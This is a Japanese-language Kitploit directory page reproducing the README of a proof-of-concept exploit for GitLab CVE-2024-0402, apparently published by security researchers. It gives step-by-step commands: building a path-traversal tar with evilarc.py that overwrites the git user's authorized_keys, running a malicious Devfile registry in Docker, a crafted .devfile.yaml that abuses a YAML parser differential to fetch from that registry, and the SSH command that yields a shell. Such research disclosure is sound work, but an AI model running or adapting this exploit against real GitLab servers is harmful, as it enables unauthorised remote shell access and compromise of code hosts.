Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
malicious-devfile-registry — Gitlab における CVE-2024-0402 のエクスプロイト | Kitploit
ツール/GitHubGitHub/doyensec/malicious-devfile-registry
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストサプライチェーンセキュリティレッドチーミング
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

Gitlab における CVE-2024-0402 のエクスプロイト

リポジトリを見る
1551年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

悪意のあるDevfileレジストリ

このプロジェクトには、GitLabのCVE-2024-0402を悪用するために使用できる悪意のあるDevfileレジストリが含まれています。

エクスプロイト

nodejs:2.2.1スタックがインデックス化され、archive.tarファイルを公開します。これは、registry-supportライブラリ v1.1.0より前のパストラバーサルの脆弱性を悪用しています。

tarの場所: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

これは、evilarc.pyを使用して作成され、対象のGitLabサーバー上の/var/opt/gitlab/.ssh/authorized_keysを、このリポジトリのssh-keys/フォルダにあるSSH鍵で上書きします。

root@kitploit:~
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

実行すると、レジストリは悪意のある*.tar*がフェッチ可能なスタックに追加されます。 index.jsonにスタックリソースとしてリストされているのを確認してください:

root@kitploit:~
...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

再現手順

バージョンが16.8.0以下のGitLab EEインスタンスを構成します。ドキュメントと、専用の!exploitableシリーズブログ記事の追加メモに従って、ワークスペースを有効にします。

準備ができたら、以下の手順に従ってください:

  1. このリポジトリのルートでdocker build -t devfile-index .を実行し、レジストリのコンテナイメージをビルドします

  2. docker run -d -p 5000:5000 --name local-registrypoc registry:2を実行して、Devfileレジストリがスタックを保存するために使用するローカルコンテナレジストリを起動します。注意: 必要に応じてコマンドを編集して公開してください。私たちの場合、すべてローカル環境で行われました。

  3. docker run --network host devfile-indexを実行して、ステップ1でビルドした悪意のあるDevfileレジストリを起動します。注意: 前と同様に、GitLabインスタンスから到達可能になるように実行コマンドを編集してください。

  4. 開発者として対象のGitLabサーバーに認証し、制御下にあるリポジトリの.devfile.yamlを編集します。YAMLは、パーサーの差分を悪用して悪意のあるレジストリからのフェッチを許可する必要があります。

root@kitploit:~
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. GitLab UIでファイル書き込みをトリガーするには、編集したリポジトリで新しいワークスペースを開始するだけです。数秒後、任意のファイル書き込みが発生し、ssh-keys/pockey.pubがgitユーザーのauthorized_keysに追加されます。

  2. 以下のコマンドでgitユーザーとして無制限のシェルを利用できるはずです:

root@kitploit:~
ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
ツールをダウンロード